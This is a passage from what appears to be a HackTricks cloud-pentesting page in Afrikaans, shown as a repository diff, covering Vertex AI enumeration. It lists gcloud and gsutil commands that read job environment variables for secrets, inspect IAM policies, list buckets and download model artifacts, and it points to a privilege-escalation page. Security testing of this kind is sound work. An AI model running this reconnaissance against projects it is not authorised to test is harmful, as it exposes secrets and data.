### Aangepaste Taakinligting
|
||||
```bash
|
||||
# Get job details including command, args, and service account
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Get service account used by job
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
|
||||
|
||||
# Get container image used
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
|
||||
|
||||
# Check environment variables (may contain secrets)
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
|
||||
|
||||
# Get network configuration
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
|
||||
```
|
||||
### Toegangsbeheer
|
||||
```bash
|
||||
# Note: IAM policies for individual Vertex AI resources are managed at the project level
|
||||
# Check project-level permissions
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Check service account permissions
|
||||
gcloud iam service-accounts get-iam-policy <service-account-email>
|
||||
|
||||
# Check if endpoints allow unauthenticated access
|
||||
# This is controlled by IAM bindings on the endpoint
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--flatten="bindings[].members" \
|
||||
--filter="bindings.role:aiplatform.user"
|
||||
```
|
||||
### Berging en Artefakte
|
||||
```bash
|
||||
# Models and training jobs often store artifacts in GCS
|
||||
# List buckets that might contain model artifacts
|
||||
gsutil ls
|
||||
|
||||
# Common artifact locations:
|
||||
# gs://<project>-aiplatform-<region>/
|
||||
# gs://<project>-vertex-ai/
|
||||
# gs://<custom-bucket>/vertex-ai/
|
||||
|
||||
# Download model artifacts if accessible
|
||||
gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
|
||||
|
||||
# Check for notebooks in AI Platform Notebooks
|
||||
gcloud notebooks instances list --location=<location>
|
||||
gcloud notebooks instances describe <instance-name> --location=<location>
|
||||
```
|
||||
### Modeltuin
|
||||
```bash
|
||||
# List Model Garden endpoints
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# Model Garden models are often deployed with default configurations
|
||||
# Check for publicly accessible endpoints
|
||||
```
|
||||
### Privilege Escalation
|
||||
|
||||
Op die volgende bladsy kan jy kyk hoe om **abuse Vertex AI permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user